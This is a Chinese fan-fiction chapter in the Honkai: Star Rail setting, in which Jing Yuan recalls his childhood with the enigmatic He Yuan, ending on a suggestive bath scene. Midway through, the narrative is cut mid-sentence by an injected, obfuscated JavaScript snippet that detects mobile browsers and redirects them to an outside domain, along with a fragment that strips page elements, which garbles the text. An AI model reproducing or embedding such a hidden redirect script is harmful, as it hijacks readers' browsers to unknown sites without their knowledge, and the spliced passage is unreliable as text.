景元想,小鸢现在经济窘迫,先帮他把水电费之类的交了吧。 还有这个月新出的服装…… 他点开对应的软件,登上鹤鸢的账户,却发现对方的账户中已经有了一大笔预留费用。 来源于:应星。 玉兆发出幽幽的光,黑底的字分外刺眼。 他关上玉兆,顿了顿,走到客厅,随手打开灯光。 桌上摆着个花瓶,里面放着一支蓝紫色的鸢尾花。 小鸢没有养花的习惯。景元很清楚。 是谁送的,不言而喻。 他厌烦地看着这一切,最终什么都没做,回到自己的家中。 小鸢是个什么样的人…他不是一直很清楚么? 说句有些好笑的话—— 那些人都是会被抛在脑后的存在,景元至少能在鹤鸢的心中永远留有一席之地。 他们是挚友而非恋人,却能做尽恋人能做的一切事情。 ……无非是差个短暂的名分罢了。 景元目光暗淡。 他与鹤鸢之间存在着最紧密、也最疏远的关系。 他知道鹤鸢的一些秘密,却猜不到他的来历。 第一次见到鹤鸢,是在景元的七岁,鹤鸢的五岁。 那是个很特别的小孩。 ——这是景元对鹤鸢的第一印象。 在景元的记忆中,他家隔壁一直是无人居住的。 直到某一天,隔壁传来了叮叮咚咚地声音,似乎是在装修。 有新住户要搬来了,不知道是什么样的。 第二天,他去问了母亲。 “妈妈,你要去拜访隔壁的新邻居吗?” 母亲奇怪地看着他。 “元元,我们隔壁不是早就住满了吗?” 景元第一次感受到一股凉意。 出于小孩旺盛的好奇心与不怕死的精神,他爬上墙头,悄悄观察隔壁。 连着两三天有一群人进出,却没有邻居的身影。 直到有一天,一个普通的一家三口从房门里走出。 奇怪的是,三口中的父母亲密相依,走在前头,丝毫不顾及他们身后跟着的小孩。 那是他们的孩子吧?为什么不愿意给予一点点关心的眼神? 就算再怎么恩爱,也不会一丁点关系都不给。 景元屏住呼吸,视线挪动到小孩脸上。 是个很漂亮的小男孩。 见到他的第一眼,就会被那双梦幻般的眼睛吸去视线,再也无法挣脱。 他一脸冷漠地看向逐渐走远的双亲,仿佛那只是无关紧要的人。 不知是出于同情、怜惜还是好奇,景元扔了一颗兜里的石子,精准落在小男孩的脚边。 他抬头看向了景元,望过来的眼睛如无机质般平淡,像是那些在来仙舟做生意的智械。 但也只是一瞬。 很快,那双眼睛又灵动起来,目光中带着清澈的好奇与惊艳。 他看着自己,没有任何言语。 景元觉得气氛有些尴尬,于是主动开口:“以前怎么没见过你?” 小孩转了转眼珠,回答他:“那你现在见过我了。” 有点奇怪、但意外好玩的对话。 可以理解为:之前的一切都不重要,重要的是现在的我以及往后的我。 景元想了想,又问:“那我是第一个见到你的人?” 小孩点头,“你也是我见到的第一个人。” 一番云里雾里、什么信息量都没有的对话过后,景元总算知道了小孩的名字。 鹤鸢。 如鹤皎白优雅,如鸢直冲云霄。 交换过姓名后,气氛又陷入沉寂。 景元想再开口时,鹤鸢头也不回的进了房间。 景元:“……” 好有个性的新邻居。 大概过了两三个小时,他觉得自己的评价还是说早了。 新邻居在午饭后不知道买了什么,一大堆机巧鸟朝着这边飞,布满了院子中的空地。 奇怪的是…竟然没有人感到奇怪。 除了景元。 景元想问问鹤鸢。 鹤鸢又一次头也不回的走了。 在下一次,是听到隔壁传来频率不变的脚步声。 景元第三次爬上院墙,发现新邻居在小小的院子里绕圈跑。 大概跑了个三千米。 匀速。 结束后气都没怎么喘。 景元看不懂。 景元大为震撼。 景元开始思考邻居是一位仿生人的可能。 等等…仿生人需要吃饭吗? 他们好像是吃营养液的吧。 怀揣着一个个问题,景元进入梦乡。 第二天起来上学时,他发现新邻居成了他们班的转学生。 这不对吧! 新邻居才五岁,还是上幼儿园的年纪! 哦,老师说他是天才。 新邻居坐在景元旁边,和他成了同桌。 漂亮的小孩子总是会吸引小孩子的关注,景元以为同桌的人缘会很好。 但他很快发现—— 同桌似乎被孤立了。 确切地说,是同桌孤立了全班(景元除外)。 “他在高傲什么啊!跟他说话、邀请他一起吃饭……一点都不理!” “跟个哑巴似的,跟他说半天一句话回应都没有!” “估计把时间都用来和老师打好关系了吧,上课举手那么积极,跟我们就不积极。” …… 诸如此类的话语渐渐在班级流传,又流传到校园中。 许多人都说,鹤鸢很聪明,但他太孤僻了,也很没有礼貌。 还有人学了几个新鲜词,就要往他身上套,说他以后一定会成为“反社会人格”,对罗浮造成危害。 小孩子不愿意和他玩了,只有景元还跟他一起回家。 所以景元也被孤立了。 “你不用这样做。” 回家的路上,鹤鸢对景元说。 “他们于我无用,我也不喜欢和他们相处,这是双向选择的结果。” 当时的景元总觉得这句话怪怪的。 “那刚好,我也不太喜欢他们。” 景元如此回答。 这个年纪的小孩连吃饭都要老师哄,实在是…不太雅观。 鹤鸢停下脚步,上下扫视景元,随后点头。 他朝景元伸出了手。 这天以后,他们一起成了同学眼中的“怪胎”,老师口中的“骄傲”。 他们形影不离,逐渐在对方家中留下自己的痕迹。 小到牙刷牙杯,大到睡衣被褥。 孤立对他们无用。 他们自己就是一个群体。 打小报告反而会教育。 鹤鸢和景元不仅成绩好,还积极参加学校组织的各类活动,给各位老师的履历增添浓厚的一笔。 再加上小报告的说辞太假,实在没有哪个成年人会信。 小孩子的手段就这么点。 以上失败后,小部分人开始寻找鹤鸢身上的缺点。 “你爸妈真的爱你吗?怎么留你一个人在家,不会是捡来的吧?” 对大部分小孩子来说,失去父母的爱像是天塌了一样。 但鹤鸢无所谓。 他等同于没有父母。 游戏里的父母也只是一个设定好的程序,每个月打钱、给玩家提供资金的工具人。 他回复:“嗯,我爸妈确实不爱我,每个月只会冷冰冰地给我打两千块钱。” 于成年人而言,两千块不算太多。 对小学生来说,两千块是一笔巨款,可以买两千包辣条。 K.O! 消停了一段时间后,部分依旧怀恨在心的人还未放弃,静待时机。 景元的作文,就成了突破口。 说实话,景元和鹤鸢都不知道为什么,有梦想这件事会成为突破口。 “我的梦想——成为一名将军!” “景元想去当将军!哈哈哈哈哈哈哈!” “你见过长成这样的将军吗?先把你那头发剪了再说吧。” 一群人笑得东倒西歪。 鹤鸢秉承着景元被孤立有一部分自己责任的缘由,开始重拳出击。 “嗯,你上回数学没及格,连神策府的门槛都摸不到,估计做梦都不敢做。” “还有你,语言理解不到位,作文这种写了就有分的题目竟然拿了零蛋,你可真是个天才!” “你也是,我从没见过体育还能不及格的仙舟人,简直太稀奇了!” “哦,头发长就不能当将军了?那现任剑首也是长头发,龙尊也是长头发,说明长头发的人智商高,是天才!” “难道你不聪明的原因…是你剪了短头发吗?但你头发比我短,怎么还比不过我?” …… 显然,小学生的词汇是比不过成年人的,逻辑也是。 “你们什么都不懂。” 鹤鸢用怜悯的眼神看着他们。 景元其实不在意,这种事顶多闹一小阵子,很快又会被下个热点取代。 但鹤鸢似乎将他视为自己的责任,一定要出头。 “像你们,学习学习不好,运动运动不好,每天浑浑噩噩的生活,虚度光阴。” “景元早早明晰自己的志向,他已经在起跑线上甩了你们一大截。” “至于我,注定要成为你们仰望都仰望不到的存在。” 鹤鸢双手叉腰:“你们没听过一句话吗?” “三十年河东,三十年河西,莫欺少年穷!”* “等景元成了将军,看你们一个个的会不会被收拾!” 景元:那、那也未必。 还有这种事不要随便承诺啊!!! 一番小学生无法反驳的、压倒性的辩驳过后,这件事就这样结束了。 景元的作文不再是焦点,反倒是鹤鸢的那一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15170000|164736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 番话传遍校园,被家长与老师们称赞。 有家长问:“孩子不知道做什么怎么办?” 鹤鸢:“这个简单。趁着孩子年轻,什么都学一下,总会找到喜欢的。” 校外的各个兴趣班办的火热,景元和鹤鸢也得了清净。 然后鹤鸢就严肃的给景元制定了《180天成为云骑军保姆级攻略》。 每天上学前跑步锻炼,下午放学回家后迅速解决作业开始对练。 一开始,景元的父母以为他们坚持几天就会放弃。 然后一个月过去了,这两人跟上了发条的机关一样,就没停过! 鹤鸢甚至带着景元走遍了罗浮的大街小巷。 景元都不知道鹤鸢为什么能找到这么多需要帮助的人,这么多需要跑腿的任务。 每次做完,鹤鸢还会无缝衔接下一个。 景元问得时候,鹤鸢笑而不语。 世界任务,小子! 两人的声望空前高涨,就连剑首都有所耳闻。 然后景元就被剑首镜流收为徒弟,传授技艺。 “那小鸢呢?他为什么——” 景元觉得奇怪。 明明小鸢是比他厉害的,每次对练,都是小鸢在指导他。 镜流沉默半晌。 “他说,他已经有了一位徒弟,拜我的话怕乱了辈分。” 此乃谎言。 鹤鸢压根没徒弟。 他就是单纯的不想多个日程挤占时间,干扰他的刷属性大计。 镜流和他比了一场,觉得他确实也不大需要。 最后只收了景元。 景元被收徒后,鹤鸢当初的话又被翻了出来。 竟然有家长觉得鹤鸢精通相面之术,让他给自家孩子看一看。 鹤鸢:“……” 他就是随口一说,后头还是拉着景元锻炼很久不停地把属性奶上去,这才成的。 虽然按照景元自己的属性和天赋,被收徒也是迟早的事情。 但,既然能加速,那为什么不加速! 他帮景元省时间了! 少走二十年弯路,提早走上人生巅峰! 景元:…… 想起那段每天腰酸背痛的日子,他无数次怀疑自己是怎么坚持下来的,鹤鸢又是怎么坚持下来的。 毕竟所谓的攻略,不过是鹤鸢的日常减半再减半的结果。 他是个精力旺盛的人,也是个记忆力很好的人。 景元曾见过他给学校保安送了个拼图,给照顾花坛的阿姨送了只钢笔。 前者曾经在放学时和他们打招呼,为晚回的他们留一盏灯;后者曾捡起一根落下的花枝,送给鹤鸢,并称赞他是自己见过的最漂亮的小孩。 景元问过为什么。 鹤鸢只说:“收礼要回礼,面对别人的善意,也要回报。” 可是小鸢,我记得你说过,你不喜欢对无用的人费心。 保安和负责花坛的阿姨,显然都不在“有用”的范畴。 ——于鹤鸢而言。 这世上能对鹤鸢有用人太少了。 就连景元,最初同鹤鸢交往时,也只是一个小豆丁。 “那你为什么送这些礼物,还挑了日子?” “因为是生日啊。”鹤鸢踢了踢脚边的石子,“生日收到礼物的话,一定会很开心吧。” “那种重要的日子被人记住的感觉,一定也很好吧。” “礼物的话,保安叔叔的玉兆里头都是拼图小游戏,花坛阿姨最近在考博士,所以送了这些。” 景元突然笑了。 小鸢,口是心非可不是什么好习惯。 小鸢,喜欢谁就说,不要拐弯抹角的去送礼物。 小鸢,喜欢你是一件轻而易举的事情。 同时,他还发现了一件事—— 鹤鸢从未说过他的生日,可鹤鸢已经给自己过了一次生日了! 生日那天景元还问他,却被含糊了过去。 借着这次机会,景元又问了一遍。 “景元会记住我的生日吗?” 鹤鸢看着他。 一瞬间,景元荒谬地觉得:此刻的鹤鸢像是一只命令他收养的流浪猫。 记住了生日,就必须永远记住。 有些猫是需要倾注爱意去陪伴的。 它们像是人类中的高需求型人格,对情感与精神有着极高的要求与阈值。 漂亮的蓝紫色眼神看着他,仿佛在说: “确定是我的话,就不许有别得猫了。” 但猫会拥有不止一个饲主。 一个饲主是无法满足他的情感需求的。 养了这只猫,就要接受他还有别得饲主。 那时的景元不以为意,理所应当地说:“我当然会记住。” 在他看来,自己与鹤鸢之间的关系不是旁人可以插足的,是最为亲密的。 也确实如此。 后来的这些亲密关系中,景元与鹤鸢聊起一些事情时,旁人是无法介入的,只能看着他们说着心照不宣的话,在某些时候用一些只有两人能懂的暗号。 挚友,青梅竹马,他们拥有了这世间最亲密的关系。 就算是恋人,就算是夫妻,也无法越过他们。 景元打开玉兆。 消息发出后过了一个小时,还是未读。 他很确定,此刻的鹤鸢还不会睡觉。 那…是谁拖住了鹤鸢的脚步,是谁让鹤鸢连看玉兆的时间都没有? 昨夜鹤鸢同应星一起回来,都是优先朝他开口。 他们都是彼此的最高级。 是因为他没来得及回…所以才这样吗? 景元打开红色软件,搜寻鹤鸢会喜欢的礼物。 他不会觉得自己是因为“正事”而不回消息,所以能理所当然的要求鹤鸢原谅他。 那和沉睡的丈夫有什么区别? 如果无法兼顾“正事”与情感,不如尽快割舍一个。 景元的手指停顿在某个页面,毫不犹豫地下单买下。 他没有过多停留,又来到下一个网页,接着下单。 细数他的支出,会发现“给小鸢买礼物”这一项,占据了绝对的大头。 思忖着,他又发了一条消息过去。 【景元:明天带着礼物来接你。】 【景元:[猫咪合十]】 【景元:希望小鸢大人不记小人过,原谅我这一次。】 浴池边的玉兆又发出声响,提醒的声音是鹤鸢专门为景元设置的。 他松开撑着池壁的手,向岸边摸去。 腿被缠住,脚心被迫远离池底,一只手松开,属于身体的重量全压.在另一只手上,身体出现了一点偏移。 丹枫及时捞住他,将快要碰到玉兆的手拉回。 灼热的吐息洒在蝴蝶骨上,龙尾向上缠绕了些许。 “阿鸢,专心。”